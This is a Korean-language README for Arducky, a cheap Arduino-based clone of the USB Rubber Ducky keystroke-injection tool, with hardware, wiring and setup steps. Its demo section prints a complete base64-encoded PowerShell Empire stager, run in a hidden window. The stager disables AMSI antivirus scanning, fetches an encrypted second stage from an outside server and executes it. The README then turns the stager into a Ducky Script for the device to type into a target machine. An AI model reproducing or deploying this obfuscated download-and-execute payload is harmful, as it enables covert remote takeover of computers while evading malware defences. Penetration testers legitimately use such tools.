
Arducky - Arduino Ducky 스크립트 인터프리터
이 프로젝트는 Hak5의 USB Rubber Ducky의 저렴한 대안(그러나 효율성은 떨어지지 않는)을 만드는 것을 목표로 합니다.
USB Rubber Ducky는 간단한 스크립팅 언어로 프로그래밍 가능한 HID(휴먼 인터페이스 디바이스)로, 침투 테스터가 사람의 키보드 입력을 모방하는 보안 감사 페이로드를 신속하고 쉽게 제작 및 배포할 수 있게 해줍니다.
Arducky를 사용하면 MicroSD 카드에 저장된 Ducky Script만 다루면 됩니다.
설정 후에는 스크립트를 변경하기 위해 Arduino를 다시 프로그래밍할 필요가 없습니다.
| 수량 | 항목 | 가격 | 설명 |
|---|---|---|---|
| 1 | Arduino Pro Micro ATmega32U4 5V Board | $4.11 | USB 프로토콜과 호환되며 HID 마우스 또는 키보드로 사용 가능 |
| 1 | Micro SD Memory Shield | $0.78 | |
| 1 | Micro USB OTG Adapter | $0.99 | 선택 사항. Micro USB 케이블을 대체하는 데 사용 가능 |
| 1 | DuPont Wires | $1.28 | |
| 1 | Micro SD Card | $18.00 | 예시이며, 1GB 이상 필요하지 않을 것입니다 |
Arducky와 함께 Micro SD 카드를 사용하려면, 카드를 FAT32 파일 시스템으로 포맷해야 합니다.
SD 카드(새 카드라도!)를 포맷할 때는 운영 체제에서 제공하는 포맷 도구보다는 SDA(SD Association)의 공식 SD Memory Card Formatter를 사용할 것을 강력히 권장합니다.
이제 MicroSD 카드를 포맷했으니, MicroSD 쉴드를 연결해 보겠습니다!
MicroSD 컨트롤러 인터페이스에는 총 6개의 핀(GND, VCC, MISO, MOSI, SCK, CS)이 있습니다.
Arduino SPI 문서에 따르면, 제어 인터페이스는 다음과 같이 연결되어야 합니다(DuPont 와이어 사용):

참고: 하드웨어 섹션에서 언급했듯이, 이 모듈은 5V µC와 상호작용하도록 설계되었으므로 Arduino의 5V 핀이 필요합니다.


프로젝트를 클론합니다:
git clone https://gitlab.com/Creased/arducky
cd arducky/
AZERTY 키보드를 사용하는 경우, 포함된 라이브러리로 Keyboard 라이브러리(Keyboard.cpp 및 Keyboard.h)를 교체해야 합니다.
Arduino IDE를 사용하여 arducky.ino 스케치를 Arduino 보드에 업로드합니다.
Ducky Script 페이로드로 arducky_femto.ino 파일을 생성하려면 femto_generate_payload.py를 사용할 수 있습니다:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
예:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire는 powershell.exe 없이도 PowerShell 에이전트를 실행할 수 있는 기능과 키로거부터 Mimikatz까지 빠르게 배포 가능한 사후 침투 모듈을 구현한 사후 침투 프레임워크입니다.
이 데모에서는 Docker 노드의 원격 서버(예: VPS)에 Empire를 배포하고 Arducky를 사용하여 연결할 것입니다.
이 가이드에 설명된 단계를 따르세요.
새로운 Empire를 설정하면 다음과 같은 페이로드를 얻을 수 있습니다(demo/ 폴더 참조):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
이를 stager.txt 파일로 저장하고 create_script.sh 스크립트를 실행하여 Ducky Script를 생성합니다:
./create_script.sh
생성된 script.txt를 MicroSD 카드의 파일 시스템 루트에 복사하고 Arducky의 전원을 켭니다.
다음은 공격을 보여주는 비디오입니다:
Voilà!
